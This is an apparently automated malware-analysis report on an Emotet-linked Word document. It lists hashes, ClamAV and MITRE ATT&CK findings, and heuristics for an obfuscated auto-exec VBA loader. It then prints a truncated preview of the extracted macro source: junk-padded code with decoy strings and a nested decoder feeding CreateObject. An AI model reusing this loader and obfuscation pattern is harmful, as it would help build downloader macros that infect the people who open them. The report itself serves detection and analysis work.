Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 85095b04e1a42a72…

MALICIOUS

Office (OLE)

266.2 KB Created: 2019-10-24 11:39:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: ded80a522c5b6df27cf72306a718048c SHA-1: a5b6e675fc1bc3789e22b9c8fb2c5140599ad814 SHA-256: 85095b04e1a42a7289d2e07bb1eeff320edff526cddf47e67f6baa44e1b852ff
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample exhibits critical heuristic firings for an obfuscated auto-exec VBA loader, including CreateObject and execution sink calls, strongly indicating malicious intent. ClamAV detection confirms this, identifying it as Emotet. The VBA macro's obfuscated nature and use of CreateObject suggest it attempts to download and execute a second-stage payload, a common Emotet behavior.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7356095-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7356095-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39471 bytes
SHA-256: d5be8e8e7119c229df6db85a6fb61d4bf8ed1bf24d4806dae54f7906fc1b9d78
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ojfpapwwd"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Jusvjuiyoelk, 0, 0, MSForms, CommandButton"
Attribute VB_Control = "Hudnoijlmysgx, 1, 1, MSForms, CommandButton"
Attribute VB_Control = "Rpyzobyokehf, 2, 2, MSForms, CommandButton"
Attribute VB_Control = "Ahgkmdkyialq, 3, 3, MSForms, CommandButton"
Attribute VB_Control = "Oldikgxew, 4, 4, MSForms, CommandButton"
Attribute VB_Control = "Gtbitetu, 5, 5, MSForms, CommandButton"
Attribute VB_Control = "Jmqzuivys, 6, 6, MSForms, CommandButton"
Attribute VB_Control = "Lxlytsjntqza, 7, 7, MSForms, CommandButton"

Attribute VB_Name = "Ttmpuiugmovg"
Function qiwhdjkasd(qiwhdjkasdA)
On Error Resume Next
   ''''''Jarosz Group Suite 899 Southeast Matuszewski Inc Apt. 332 East
''''''Krawczyk - Rak Apt. 768 Northeast Cieslik LLC Suite 303 West
Pkopfprpfhe = Log("55.73.24.97")
Kajmwhhhyfsg = Rnd(Liqfbbtsmkr)
Gsnzwwwkopf = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6)  AppleWebKit/534.2.1 (KHTML, like Gecko) Chrome/30.0.850.0 Safari/534.2.1"
''''''Budzinski Inc Apt. 341 Southeast Andrzejczak, Rosinski and Galazka Apt. 487 West
Fgrfviwcgg = CStr(833)
''''''Szymczyk, Baginski and Baranski Suite 544 East Skowron - Kaszuba Suite 411 Northwest
Dbbrnzva = Round(Pkfwjmdw)
Zsvmbhpizl = CInt(599)
''''''Jablonski and Sons Suite 912 Southwest Sobczak - Wypych Suite 282 Southeast
''''''Kopczynski - Górniak Apt. 415 Northeast Bilski, Szczesny and Kostecki Apt. 866 North
Yxsvvsaqkf = Atn(Rgzyzjzjo)
Lfopgkma = Tan(129)
''''''Kazmierczak - Nowacki Apt. 406 Northwest Kopec Group Suite 797 Northeast
Dmidnrkw = "Ball"
Tcqvuhqjpmpxs = Qgdtfxfie
''''''Kolakowski - Bartosik Suite 839 Northwest Ciesla, Trzeciak and Karczewski Suite 461 South
Rvlsonlfjjot = CLng("Computer")
Uckukgtowxkhc = Log(Otlhapuy)
Clnkxbniuluun = "Howe - BlockSuite 153South"
''''''Skoczylas - Marczak Suite 313 Northeast Jaros - Skowron Suite 000 North
Adyoiglod = CDate(453)
Set qiwhdjkasd = CreateObject(Tjdcryegcuo(Tjdcryegcuo(qiwhdjkasdA)))
   ''''''Zajaczkowski, Lipski and Mikolajczak Suite 223 Southwest Kawa, Fratczak and Karpinski Suite 675 East
''''''Gil Inc Suite 127 South Baginski Inc Suite 707 South
Nfmvrdjns = Int("233.192.34.9")
Ymqtmjvhmu = Fix(Kjuqwfffovgxo)
Cvvdehcrl = "Principal679 Fay Crossroad, Schmittchester, United Kingdom"
''''''Maj Inc Suite 535 East Piatek, Skrzypek and Cieslik Apt. 769 East
Kpvfbkyfblxm = CByte(87)
''''''Warchol, Wesolowski and Szczesniak Apt. 818 West Furman Inc Apt. 924 North
Nixdfsfbb = CLng(Rrkririlev)
Jtwzikvfjh = CStr(849)
''''''Dziuba, Piatek and Zmuda Suite 861 East Mazur - Nowaczyk Apt. 442 Northwest
''''''Dabkowski, Warchol and Kujawski Apt. 697 East Karpinski Group Suite 746 East
Yeofmmjndtk = CInt(Osuoaimxzok)
Wqfncjwtsedc = Atn(738)
''''''Kula, Juszczak and Grzelak Apt. 027 Southeast Pietras - Grzegorczyk Apt. 679 South
Mcgpidmurbri = "Principal280 Hane Vista, East Alexander, Kyrgyz Republic"
Tzpewtqsh = Bwtvoqlaqau
''''''Czajka, Malek and Olejniczak Suite 472 West Karas - Flis Apt. 709 Southwest
Bggbzevtknato = CInt("Mueller, Weber and SpinkaApt. 684Southwest")
Gctuqyght = CStr(Lfhjiyfr)
Nosduxritbz = "Dynamic51553 Johan Trafficway, Crookston, Republic of Korea"
''''''Zakrzewski - Wojtkowiak Apt. 716 Northwest Kaczmarski and Sons Suite 765 Southwest
Ungadzuzm = Tan(622)
End Function
Function Bvkrbumuguyt()
On Error Resume Next
   ''''''Sowinski - Karwowski Apt. 519 Northeast Rojek LLC Suite 546 Northeast
''''''Lisiecki Inc Suite 091 North Urbanski, Piórkowski and Dudzinski Apt. 678 Southeast
Ywikbylluvo = CInt("McGlynn - SchadenSuite 286Southeast")
Bqniekonlypb = Int(Pizbcpkge)
Qbdmkinqnnif = "227.192.112.2"
''''''Brzezinski Group Suite 733 Southwest Kubiak - Budzinski Suite 727 Northwest
Vdbnxsifswduu = Fix(377)
''''''Gruszczynski, Jablonski a
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.